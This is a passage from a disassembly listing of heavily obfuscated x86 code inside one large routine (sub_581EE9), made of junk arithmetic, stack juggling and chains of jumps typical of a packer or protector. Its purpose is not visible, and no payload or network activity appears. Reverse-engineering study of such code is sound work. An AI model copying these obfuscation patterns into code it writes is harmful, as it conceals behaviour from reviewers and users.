		pop	ecx
		push	ebp
		jmp	loc_59E54A
; ---------------------------------------------------------------------------


loc_59EAAD:				; CODE XREF: sub_581EE9+20E86j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_5A18A3
; ---------------------------------------------------------------------------


loc_59EABB:				; CODE XREF: sub_581EE9+147B2j
		push	725Fh
		mov	[esp-6EA2h+arg_6E9A], ecx
		mov	ecx, 24h
		push	ebx
		push	edx
		jmp	loc_5A16BA
; ---------------------------------------------------------------------------


loc_59EACF:				; CODE XREF: sub_581EE9+2078Bj
		mov	eax, 0B0C15A2h
		mov	ecx, 0B0C1586h
		jmp	loc_5996FB
; ---------------------------------------------------------------------------


loc_59EADE:				; CODE XREF: sub_581EE9+18AB0j
		push	edx
		push	2D156636h
		jmp	loc_5961BA
; ---------------------------------------------------------------------------


loc_59EAE9:				; CODE XREF: sub_581EE9+1C596j
		sub	edx, 16761CD6h
		push	ebp
		mov	ebp, 0CB245994h
		xor	edx, ebp
		pop	ebp
		sub	ebp, edx
		jmp	loc_5A41D3
; ---------------------------------------------------------------------------


loc_59EAFF:				; CODE XREF: sub_581EE9+130E7j
		push	4D69h
		mov	[esp-6E84h+arg_6E7C], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A5A0A
; ---------------------------------------------------------------------------


loc_59EB21:				; CODE XREF: sub_581EE9+177BDj
		inc	ebx
		jmp	loc_597353
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 200h
		or	[edi+1Ch], ebx
		jmp	loc_59FC9C
; ---------------------------------------------------------------------------


loc_59EB35:				; CODE XREF: sub_581EE9+16C3Dj
		xor	ebx, edx
		jmp	loc_593FF8
; ---------------------------------------------------------------------------


loc_59EB3C:				; CODE XREF: sub_581EE9+18EE9j
		xor	ecx, 6C6B1B9Eh
		sub	ecx, 7597530Ch
		dec	ecx
		sub	ecx, 61C682D2h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-6EA6h+arg_6E9E]
		mov	esp, [esp-6EA6h+arg_6E9E]
		add	eax, 4
		jmp	loc_5961A6
; ---------------------------------------------------------------------------


loc_59EB62:				; CODE XREF: sub_581EE9+1E48Cj
		inc	edx
		xchg	edx, ecx
		jmp	loc_5A5028
; ---------------------------------------------------------------------------


loc_59EB6A:				; CODE XREF: sub_581EE9+20237j
		push	[esp-6EA6h+arg_6E9E]
		pop	edx
		add	esp, 4
		or	[edi+1Ch], ebx
		push	dword ptr [esp-6EAAh+arg_6EA2]
		mov	ebx, [esp-6EA6h+arg_6E9E]
		jmp	loc_59612D
; ---------------------------------------------------------------------------


loc_59EB7F:				; CODE XREF: sub_581EE9+1537Aj
		xchg	edx, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		jmp	loc_59762F
; ---------------------------------------------------------------------------


loc_59EB88:				; CODE XREF: sub_581EE9+15816j
		push	24E6h
		mov	[esp-6E72h+arg_6E68+2],	edi
		push	esp
		jmp	loc_5A4F7A
; ---------------------------------------------------------------------------


loc_59EB96:				; CODE XREF: sub_581EE9+1F633j
		shr	eax, 6
		not	eax
		jmp	loc_59BB56
; ---------------------------------------------------------------------------


loc_59EBA0:				; CODE XREF: sub_581EE9+12878j
		mov	[esp-6E6Eh+arg_6E64+2],	ebx
		jmp	loc_5A3AE8
; ---------------------------------------------------------------------------


loc_59EBA8:				; CODE XREF: sub_581EE9+20289j
		push	esi
		jmp	loc_59555C
; ---------------------------------------------------------------------------


loc_59EBAE:				; CODE XREF: sub_581EE9+1C705j
		neg	ebx
		shr	ebx, 3
		sub	ebx, 144E587Fh
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E96h+arg_6E8E]
		jmp	loc_5927C4
; ---------------------------------------------------------------------------


loc_59EBD3:				; CODE XREF: sub_581EE9+1C4CEj
		push	7E71518h
		pop	ebx
		mov	edi, 815C4889h
		sub	edi, ebx
		pop	ebx
		xor	eax, edi
		pop	edi
		sub	ecx, 78EA32FBh
		add	ecx, eax
		push	edx
		mov	edx, 1D010236h
		or	edx, 6A111BE9h
		jmp	loc_59D9DD
; ---------------------------------------------------------------------------


loc_59EBFD:				; CODE XREF: sub_581EE9+10615j
		xor	eax, esi
		pop	esi
		shl	eax, 8
		jmp	loc_5A6D66
; ---------------------------------------------------------------------------


loc_59EC08:				; CODE XREF: sub_581EE9+1D1DBj
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	ecx
		push	eax
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		jmp	loc_598C82
; ---------------------------------------------------------------------------


loc_59EC1D:				; CODE XREF: sub_581EE9+1FAA1j
		mov	[esp-6E9Ch+arg_6E92+2],	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59C0D0
; ---------------------------------------------------------------------------


loc_59EC2B:				; CODE XREF: sub_581EE9+197FBj
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_59E7E3
; ---------------------------------------------------------------------------


loc_59EC38:				; CODE XREF: sub_581EE9+2096Dj
		mov	[esp+0], ebx
		push	esp
		mov	ebx, [esp-6E8Ch+arg_6E84]
		push	ebx
		jmp	loc_5A17B1
; ---------------------------------------------------------------------------


loc_59EC45:				; CODE XREF: sub_581EE9+1C2F4j
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], edi
		push	ebp
		mov	ebp, 1CE572C0h
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 2597091Eh
		jmp	loc_59B197
; ---------------------------------------------------------------------------


loc_59EC5F:				; CODE XREF: sub_581EE9+1EAD2j
		mov	ebx, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		jmp	loc_599163
; ---------------------------------------------------------------------------


loc_59EC6D:				; CODE XREF: sub_581EE9+251D7j
		pop	esi
		add	edi, edx
		mov	edx, [esp-6E96h+arg_6E8E]
		jmp	loc_592BDC
; ---------------------------------------------------------------------------


loc_59EC78:				; CODE XREF: sub_581EE9+1D832j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-6E96h+arg_6E8E]
		jmp	loc_596F1B
; ---------------------------------------------------------------------------


loc_59EC90:				; CODE XREF: sub_581EE9+1BF5Fj
		mov	eax, edi
		pop	edi
		mov	esi, eax
		pop	eax
		not	esi
		and	esi, 5E9B460Fh
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		and	esi, 169235A3h
		not	esi
		push	eax
		push	0FD6FCE5Bh
		pop	eax
		xor	esi, eax
		pop	eax
		sub	ecx, 24D22781h
		add	ecx, esi
		add	ecx, 24D22781h
		mov	esi, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59EF8D
; ---------------------------------------------------------------------------


loc_59ECDF:				; CODE XREF: sub_581EE9+1D119j
		mov	[esp+0], ebx
		jmp	loc_5929D4
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		push	1A93h
		mov	[esp], ecx
		jmp	loc_5A6E54
; ---------------------------------------------------------------------------


loc_59ECF8:				; CODE XREF: sub_581EE9+1949Cj
		push	edx
		mov	dh, 36h
		mov	bl, dh
		mov	edx, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		mov	dl, bl
		pop	bx
		push	cx
		mov	ch, 77h
		jmp	loc_594487
; ---------------------------------------------------------------------------


loc_59ED13:				; CODE XREF: sub_581EE9+168E1j
		mov	edi, 35E72F25h
		push	ecx
		mov	ecx, 5A2A562Fh
		jmp	loc_5A3A65
; ---------------------------------------------------------------------------


loc_59ED23:				; CODE XREF: sub_581EE9+17EFBj
		push	[esp-6EA4h+arg_6E9A+2]
		jmp	loc_59EA13
; ---------------------------------------------------------------------------


loc_59ED2B:				; CODE XREF: sub_581EE9+11139j
		pop	ebp
		add	ebp, 366F00C3h
		neg	ebp
		jmp	loc_5A5EF0
; ---------------------------------------------------------------------------


loc_59ED39:				; CODE XREF: sub_581EE9+21B0Fj
		add	ebx, 4
		xchg	ebx, [esp-6E56h+arg_6E4C+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	ebp
		push	[esp-6E56h+arg_6E50+2]
		pop	ebp
		jmp	loc_5A3A6C
; ---------------------------------------------------------------------------


loc_59ED50:				; CODE XREF: sub_581EE9+16C9Dj
		mov	esi, 5353339Bh
		add	eax, esi
		jmp	loc_595712
; ---------------------------------------------------------------------------


loc_59ED5C:				; CODE XREF: sub_581EE9+1FB79j
		shl	eax, 7
		add	eax, 0CD8CB127h
		sub	ecx, eax
		pop	eax
		mov	esi, [esp-6E72h+arg_6E68+2]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		add	ebx, ecx
		push	[esp-6E72h+arg_6E68+2]
		pop	ecx
		add	esp, 4
		jmp	loc_59E1E2
; ---------------------------------------------------------------------------


loc_59ED8B:				; CODE XREF: sub_581EE9+119A9j
		pop	ebp
		pop	edi
		jmp	loc_5A19B7
; ---------------------------------------------------------------------------


loc_59ED92:				; CODE XREF: sub_581EE9+16BB3j
		add	edx, 4
		jmp	loc_5A1B10
; ---------------------------------------------------------------------------


loc_59ED9D:				; CODE XREF: sub_581EE9+1D6B9j
		add	ebx, ecx
		jmp	loc_59A25C
; ---------------------------------------------------------------------------


loc_59EDA4:				; CODE XREF: sub_581EE9+1BDEAj
		push	ebx
		mov	ebx, 43385365h
		shl	ebx, 4
		jmp	loc_59B628
; ---------------------------------------------------------------------------


loc_59EDB2:				; CODE XREF: sub_581EE9+1ACE8j
		add	[esp-6E78h+arg_6E72+2],	edi
		jmp	loc_5A1C4B
; ---------------------------------------------------------------------------


loc_59EDBB:				; CODE XREF: sub_581EE9+1CA2Aj
		mov	esi, esp
		add	esi, 4
		jmp	loc_598A4A
; ---------------------------------------------------------------------------


loc_59EDC8:				; CODE XREF: sub_581EE9+16182j
		sub	esp, 4
		jmp	loc_5A3584
; ---------------------------------------------------------------------------


loc_59EDD0:				; CODE XREF: sub_581EE9+137E7j
		add	eax, 55A7D3AAh
		shr	eax, 6
		push	ebp
		push	5A3F02E0h
		pop	ebp
		jmp	loc_5A1474
; ---------------------------------------------------------------------------


loc_59EDE4:				; CODE XREF: sub_581EE9+157D5j
		mov	eax, [esp-6E76h+arg_6E6E]
		jmp	loc_595F6E
; ---------------------------------------------------------------------------


loc_59EDEC:				; CODE XREF: sub_581EE9+1BD2Dj
		sub	ebx, 6C3D533Ah
		add	ebx, ecx
		jmp	loc_59510A
; ---------------------------------------------------------------------------


loc_59EDF9:				; CODE XREF: sub_581EE9+15F23j
		sub	bl, 15h
		sub	cl, 48h
		jmp	loc_5A55F5
; ---------------------------------------------------------------------------


loc_59EE04:				; CODE XREF: sub_581EE9+1FE97j
		mov	ebp, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_5A083B
; ---------------------------------------------------------------------------


loc_59EE0F:				; CODE XREF: sub_581EE9+1F82Dj
		push	esp
		jmp	loc_5A2F79
; ---------------------------------------------------------------------------


loc_59EE15:				; CODE XREF: sub_581EE9+19C59j
		push	edi
		push	[esp-6EAEh+arg_6EA8+2]
		jmp	loc_5A459F
; ---------------------------------------------------------------------------


loc_59EE1F:				; CODE XREF: sub_581EE9+11347j
		add	ecx, esi
		push	[esp-6EA0h+arg_6E96+2]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_596FA2
; ---------------------------------------------------------------------------


loc_59EE36:				; CODE XREF: sub_581EE9+23DC3j
		push	1EECh
		jmp	loc_5A2362
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		mov	cl, 0D9h
		xor	cl, 16h
		or	cl, 10h
		dec	cl
		jmp	loc_5A68A2
; ---------------------------------------------------------------------------


loc_59EE51:				; CODE XREF: sub_581EE9+1580Ej
		mov	ebp, 1A6F123Bh
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		mov	esi, [esp-6E76h+arg_6E6E]
		add	esp, 4
		add	eax, 4
		push	eax
		jmp	loc_59DB67
; ---------------------------------------------------------------------------


loc_59EE6D:				; CODE XREF: sub_581EE9+16CFEj
		mov	edx, 4
		jmp	loc_5A446F
; ---------------------------------------------------------------------------


loc_59EE77:				; CODE XREF: sub_581EE9+1AAA3j
		push	ecx
		mov	ecx, 9818BE5Fh
		xor	edi, ecx
		pop	ecx
		jmp	loc_5A153D
; ---------------------------------------------------------------------------


loc_59EE85:				; CODE XREF: sub_581EE9+10114j
		mov	ebx, 3AA9150Dh
		jmp	loc_5993B2
; ---------------------------------------------------------------------------


loc_59EE8F:				; CODE XREF: sub_581EE9+1DC18j
		shl	eax, 3
		sub	eax, 0E3B9538Ch
		add	ebp, eax
		pop	eax
		push	[esp-6EA6h+arg_6E9E]
		pop	edx
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA2h+arg_6E9A]
		mov	esp, [esp-6EA2h+arg_6E9A]
		inc	ebp
		jmp	loc_5A0F89
; ---------------------------------------------------------------------------


loc_59EEC1:				; CODE XREF: sub_581EE9+195D7j
		push	2825h
		mov	[esp-6E96h+arg_6E8E], eax
		mov	eax, 539102D3h
		jmp	loc_5934AD
; ---------------------------------------------------------------------------


loc_59EED3:				; CODE XREF: sub_581EE9+24253j
		add	edi, 33B7A21h
		add	edi, 1ADF1AC3h
		not	edi
		not	edi
		or	edi, 2AC07501h
		sub	edi, 0C29A3181h
		xor	ebx, edi
		pop	edi
		jmp	loc_59DD6F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], esi
		mov	esi, 1DBC0D64h
		add	[esp-6E92h+arg_6E8E], esi
		mov	esi, [esp-6E92h+arg_6E8A]
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	edx
		mov	edx, esp
		push	ecx
		jmp	loc_597974
; ---------------------------------------------------------------------------


loc_59EF1A:				; CODE XREF: sub_581EE9+21C71j
		pop	edx
		push	edx
		jmp	loc_59DD15
; ---------------------------------------------------------------------------


loc_59EF21:				; CODE XREF: sub_581EE9+1789Bj
		xor	eax, 348759BAh
		jmp	loc_5A1D1A
; ---------------------------------------------------------------------------


loc_59EF2B:				; CODE XREF: sub_581EE9+19CAEj
		btr	word ptr [esp-6EA4h+arg_6E9A+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59EF36:				; CODE XREF: sub_581EE9+21E16j
		mov	edi, 2792610Fh
		sub	edi, esi
		jmp	loc_5A701B
; ---------------------------------------------------------------------------


loc_59EF42:				; CODE XREF: sub_581EE9+1B7FFj
		mov	[esp-6EA6h+arg_6E9E], edx
		push	701h
		mov	[esp-6EA2h+arg_6E9A], ebp
		jmp	loc_5A1235
; ---------------------------------------------------------------------------


loc_59EF52:				; CODE XREF: sub_581EE9+1BDA5j
		pop	eax
		add	edi, ecx
		pop	ecx
		jmp	loc_5A23BB
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E7Eh+arg_6E76]
		jmp	loc_5A1252
; ---------------------------------------------------------------------------


loc_59EF64:				; CODE XREF: sub_581EE9+1A9AEj
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		jmp	loc_5A1CA9
; ---------------------------------------------------------------------------


loc_59EF6C:				; CODE XREF: sub_581EE9+22B4Aj
		add	ebp, 14491104h
		jmp	loc_5971AF
; ---------------------------------------------------------------------------


loc_59EF77:				; CODE XREF: sub_581EE9+23D80j
		push	eax
		push	edx
		mov	dl, 0BFh
		mov	ah, dl
		pop	edx
		not	ah
		sub	ah, 31h
		push	6F7h
		jmp	loc_59C6B5
; ---------------------------------------------------------------------------


loc_59EF8D:				; CODE XREF: sub_581EE9+1CDF1j
		push	edi
		jmp	loc_5A46CA
; ---------------------------------------------------------------------------


loc_59EF93:				; CODE XREF: sub_581EE9+1D3F4j
		mov	esp, [esp-6E70h+arg_6E68]
		mov	[esp-6E70h+arg_6E68], ebx
		push	[esp-6E70h+arg_6E68]
		jmp	loc_5988B6
; ---------------------------------------------------------------------------


loc_59EFA1:				; CODE XREF: sub_581EE9+1C183j
		sub	ebp, edi
		pop	edi
		add	edx, ebp
		mov	ebp, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-6EA0h+arg_6E96+2]
		jmp	loc_5950A3
; ---------------------------------------------------------------------------


loc_59EFBD:				; CODE XREF: sub_581EE9+21881j
		mov	[esp-6EA0h+arg_6E96+2],	edx
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	edi
		push	esp
		jmp	loc_594FC0
; ---------------------------------------------------------------------------


loc_59EFCF:				; CODE XREF: sub_581EE9+17EBCj
		xor	al, 4Fh
		shr	al, 3
		add	al, 1
		not	al
		push	ebx
		mov	bh, 9
		sub	al, 0FBh
		jmp	loc_5A1F76
; ---------------------------------------------------------------------------


loc_59EFE2:				; CODE XREF: sub_581EE9+12A4Dj
		add	esp, 4
		and	eax, 2BE43AD4h
		sub	eax, 15314005h
		shr	eax, 2
		jmp	loc_592848
; ---------------------------------------------------------------------------


loc_59EFFA:				; CODE XREF: sub_581EE9+14425j
		mov	esp, [esp-6EB2h+arg_6EA8+2]


loc_59EFFD:				; CODE XREF: sub_581EE9+14A82j
		push	0B9Dh
		jmp	loc_59ECDF
; ---------------------------------------------------------------------------


loc_59F007:				; CODE XREF: sub_581EE9+1D433j
		pop	ebx
		xor	eax, edi
		pop	edi
		push	edx
		push	30083310h
		pop	edx
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	ebx
		mov	ebx, 740C5A5Ah
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 1
		jmp	loc_5999EC
; ---------------------------------------------------------------------------


loc_59F031:				; CODE XREF: sub_581EE9+17E07j
		push	ebp
		mov	ebp, 68AAC869h
		push	esi
		push	4CE224F1h
		pop	esi
		jmp	loc_5A552B
; ---------------------------------------------------------------------------


loc_59F043:				; CODE XREF: sub_581EE9+1A771j
		add	edx, 5D0579A8h
		jmp	loc_5A2209
; ---------------------------------------------------------------------------


loc_59F04E:				; CODE XREF: sub_581EE9+19688j
		sub	[esp-6E96h+arg_6E92], ebx
		sub	[esp-6E96h+arg_6E92], 1B4F51B4h
		pop	ebx
		mov	eax, [esp-6E9Ah+arg_6E92]
		push	ebp
		mov	ebp, esp
		jmp	loc_59E7E9
; ---------------------------------------------------------------------------


loc_59F066:				; CODE XREF: sub_581EE9+115C5j
		mov	ebp, 0ED4F3Fh
		shl	ebp, 8
		not	ebp
		xor	ebp, 40D24A91h
		add	ebp, 12E7861h
		jmp	loc_5A09EA
; ---------------------------------------------------------------------------


loc_59F081:				; CODE XREF: sub_581EE9+18DAEj
		sub	eax, 530710D5h
		jmp	loc_59BFF9
; ---------------------------------------------------------------------------


loc_59F08B:				; CODE XREF: sub_581EE9+16251j
		push	2198h
		push	esp
		pop	[esp-6EA8h+arg_6E9E+2]
		add	[esp-6EACh+arg_6EA4], 4
		pop	edx
		push	edi
		mov	edi, 4
		sub	edx, 29D14D8Ch
		add	edx, edi
		add	edx, 29D14D8Ch
		pop	edi
		sub	edx, 4
		jmp	loc_5A6DC3
; ---------------------------------------------------------------------------


loc_59F0BC:				; CODE XREF: sub_581EE9+20639j
		pop	ebx
		push	ebp
		jmp	loc_5A324B
; ---------------------------------------------------------------------------


loc_59F0C3:				; CODE XREF: sub_581EE9+20677j
		pop	esp
		jmp	loc_59EC08
; ---------------------------------------------------------------------------


loc_59F0C9:				; CODE XREF: sub_581EE9+129CFj
		sub	eax, edi
		pop	edi
		jmp	loc_5A61F5
; ---------------------------------------------------------------------------


loc_59F0D1:				; CODE XREF: sub_581EE9+1160Dj
		push	eax
		jmp	loc_5A025D
; ---------------------------------------------------------------------------


loc_59F0D7:				; CODE XREF: sub_581EE9+193DFj
		or	edi, 3A264135h
		jmp	loc_5A3B4B
; ---------------------------------------------------------------------------


loc_59F0E2:				; CODE XREF: sub_581EE9+24DFDj
		mov	[esp-6E6Ch+arg_6E64], ebp
		mov	ebp, 6A7C41DCh
		or	ebp, 6E21743Fh
		sub	ebp, 70D44A1h
		xor	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	[esp-6E6Ch+arg_6E64]
		jmp	loc_59E872
; ---------------------------------------------------------------------------


loc_59F104:				; CODE XREF: sub_581EE9+2295Cj
		add	esp, 4
		jmp	loc_59CE3F
; ---------------------------------------------------------------------------


loc_59F10C:				; CODE XREF: sub_581EE9+22781j
		mov	ebp, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		push	esi
		push	[esp-6E6Ch+arg_6E68]
		pop	esi
		pop	[esp-6E6Ch+arg_6E64]
		mov	esp, [esp-6E70h+arg_6E68]
		jmp	loc_5A0885
; ---------------------------------------------------------------------------


loc_59F123:				; CODE XREF: sub_581EE9+1212Cj
		add	ecx, 6B8610C9h
		pop	esi
		add	ecx, 2
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], ecx
		push	dword ptr [esp-6E7Eh+arg_6E7A]
		mov	ecx, [esp-6E7Ah+arg_6E72]
		push	eax
		mov	eax, esp
		jmp	loc_5A434A
; ---------------------------------------------------------------------------


loc_59F142:				; CODE XREF: sub_581EE9+16718j
		pop	esp
		push	ecx
		mov	ecx, 497E2DADh
		shl	ecx, 8
		shr	ecx, 8
		sub	ecx, 0ECA11FBEh
		xor	edx, ecx
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		push	ebp
		jmp	loc_598C3B
; ---------------------------------------------------------------------------


loc_59F160:				; CODE XREF: sub_581EE9+1B4C9j
		pop	[esp-6E52h+arg_6E48+2]
		jmp	loc_59E75B
; ---------------------------------------------------------------------------


loc_59F168:				; CODE XREF: sub_581EE9+1AD43j
		not	edi
		push	esi
		jmp	loc_5A2583
; ---------------------------------------------------------------------------


loc_59F170:				; CODE XREF: sub_581EE9+1DA44j
		mov	ebx, 6E6A61ACh
		inc	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 0D151799h
		neg	ebx
		sub	ebx, 9EAAB5E7h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp-6EA6h+arg_6E9E]
		mov	esp, [esp-6EA6h+arg_6E9E]
		push	ebx
		mov	ebx, 5E591B37h
		not	ebx
		shr	ebx, 8
		shl	ebx, 8
		xor	ebx, 0A1A6E404h
		sub	edi, 3DD4714Bh
		jmp	loc_598721
; ---------------------------------------------------------------------------


loc_59F1B8:				; CODE XREF: sub_581EE9+1AB06j
		push	ecx
		push	23977B6Eh
		pop	ecx
		push	ebp
		mov	ebp, 0AA222E5Fh
		sub	ecx, ebp
		pop	ebp
		mov	ebp, ecx
		mov	ecx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		shl	ebp, 6
		shr	ebp, 6
		and	ebp, 0D822EB6h
		xor	ebp, 65EF3022h
		push	eax
		jmp	loc_597268
; ---------------------------------------------------------------------------


loc_59F1E8:				; CODE XREF: sub_581EE9+246C8j
		mov	di, 5363h
		add	bp, di
		mov	di, word ptr [esp-6E6Ah+arg_6E60+2]
		add	esp, 2
		shl	bp, 1
		dec	bp
		push	dx
		push	edi
		push	small 2A80h
		pop	di
		and	di, 6A42h
		jmp	loc_5A2A29
; ---------------------------------------------------------------------------


loc_59F211:				; CODE XREF: sub_581EE9+23C48j
		pop	ebx
		pop	[esp-6E6Ch+arg_6E64]
		mov	esp, [esp-6E70h+arg_6E68]
		push	45FBh
		mov	[esp-6E6Ch+arg_6E64], edx
		push	40h
		jmp	loc_598DE7
; ---------------------------------------------------------------------------


loc_59F22A:				; CODE XREF: sub_581EE9+10D6Ej
		mov	[esp-6E7Eh+arg_6E76], ecx
		mov	ecx, 118961FEh
		jmp	loc_5997F2
; ---------------------------------------------------------------------------


loc_59F237:				; CODE XREF: sub_581EE9+17194j
		mov	ebp, [esp-6E66h+arg_6E5C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	7D06h
		jmp	loc_5A0AE7
; ---------------------------------------------------------------------------


loc_59F24C:				; CODE XREF: sub_581EE9+2512Dj
		dec	ebp
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 0B262AB93h
		add	eax, ebp
		pop	ebp
		neg	eax
		inc	eax
		jmp	loc_59CD82
; ---------------------------------------------------------------------------


loc_59F269:				; CODE XREF: sub_581EE9+20D03j
		mov	eax, 198E0546h
		mov	ecx, 198E054Ah
		sub	ecx, eax
		pop	eax
		push	6F3Ah
		mov	[esp-6E62h+arg_6E58+2],	ecx
		mov	ecx, 790E71D8h
		add	ecx, 5C041C4Dh
		jmp	loc_596ACF
; ---------------------------------------------------------------------------


loc_59F28E:				; CODE XREF: sub_581EE9+1E81Dj
		push	ecx
		mov	cl, 18h
		inc	cl
		and	cl, 53h
		jmp	loc_5A549A
; ---------------------------------------------------------------------------


loc_59F29B:				; CODE XREF: sub_581EE9+17BBFj
		mov	esi, 0E73193A3h
		xor	eax, esi
		pop	esi
		xor	edx, eax
		mov	eax, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		mov	ebp, edx
		jmp	loc_59AC06
; ---------------------------------------------------------------------------


loc_59F2B5:				; CODE XREF: sub_581EE9+1A756j
		mov	[ecx], dl
		push	[esp-6EA4h+arg_6E9A+2]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5A52A7
; ---------------------------------------------------------------------------


loc_59F2C9:				; CODE XREF: sub_581EE9+1B828j
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp-6E88h+arg_6E80]
		jmp	loc_59EF93
; ---------------------------------------------------------------------------


loc_59F2E2:				; CODE XREF: sub_581EE9+15367j
		push	edx
		not	byte ptr [esp-6EA6h+arg_6E9E+1]
		pop	edx
		push	eax
		push	ebx
		mov	bl, 2Fh
		mov	al, 0D0h
		jmp	loc_5A5A6B
; ---------------------------------------------------------------------------


loc_59F2F3:				; CODE XREF: sub_581EE9+1D90Cj
		push	ebx
		mov	ebx, 8F1B5DFh
		push	1198h
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 6CBF754Ch
		sub	edi, ebx
		mov	ebx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		add	edi, ebx
		push	edx
		mov	edx, 6CBF754Ch
		add	edi, edx
		pop	edx
		jmp	loc_59F007
; ---------------------------------------------------------------------------
		push	esi
		push	4A0h
		jmp	loc_5A04C0
; ---------------------------------------------------------------------------


loc_59F32C:				; CODE XREF: sub_581EE9+23303j
		shl	ecx, 5
		dec	ecx
		jmp	loc_5A4257
; ---------------------------------------------------------------------------


loc_59F335:				; CODE XREF: sub_581EE9+163D0j
		add	eax, esi
		pop	esi
		push	eax
		push	[esp-6ECCh+arg_6EC6+2]
		pop	eax
		pop	[esp-6ECCh+arg_6EC2+2]
		mov	esp, [esp-6ED0h+arg_6EC6+2]
		push	[esp-6ED0h+arg_6EC6+2]
		push	[esp-6ECCh+arg_6EC2+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 6CB007ABh
		sub	esi, 2F0E5AC1h
		neg	esi
		sub	esi, 0C25E5312h
		sub	ebx, esi
		jmp	loc_59B0AE
; ---------------------------------------------------------------------------


loc_59F36F:				; CODE XREF: sub_581EE9+1DD6Bj
		pop	esp
		jmp	loc_59AE8C
; ---------------------------------------------------------------------------


loc_59F375:				; CODE XREF: sub_581EE9+1041Fj
		pop	edi
		add	edi, 1FA5388Fh
		mov	ebx, [esp-6EACh+arg_6EA4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		mov	ebp, [esp-6EACh+arg_6EA4]
		add	esp, 4
		sub	eax, 486907CDh
		add	eax, edi
		add	eax, 486907CDh
		jmp	loc_594379
; ---------------------------------------------------------------------------


loc_59F3A6:				; CODE XREF: sub_581EE9+106AAj
		mov	edx, eax
		pop	eax
		jmp	loc_5946B5
; ---------------------------------------------------------------------------


loc_59F3AE:				; CODE XREF: sub_581EE9+15B02j
		or	edi, ebx
		pop	ebx
		neg	edi
		push	esi
		mov	esi, 9604018h
		xor	esi, 7B840AA5h
		neg	esi
		not	esi
		not	esi
		dec	esi
		sub	esi, 58659BA4h
		jmp	loc_599F20
; ---------------------------------------------------------------------------


loc_59F3D1:				; CODE XREF: sub_581EE9+25192j
		sub	edx, esi
		pop	esi
		not	edx
		or	edx, 1F0D5CDCh
		xor	edx, 78CD898Dh
		or	ebx, edx
		mov	edx, [esp-6E84h+arg_6E7C]
		add	esp, 4
		shl	ebx, 2
		xor	ebx, 7FDDFFF8h
		add	eax, ebx
		pop	ebx
		jmp	loc_5960E2
; ---------------------------------------------------------------------------


loc_59F3FE:				; CODE XREF: sub_581EE9+17AADj
		mov	esp, [esp-6EB4h+arg_6EAC]
		push	ebx
		push	ecx
		mov	ecx, 0
		jmp	loc_599E5B
; ---------------------------------------------------------------------------


loc_59F40D:				; CODE XREF: sub_581EE9+179F8j
		pop	ecx
		xor	edi, [esp-6E62h+arg_6E58+2]
		xor	[esp-6E62h+arg_6E58+2],	edi
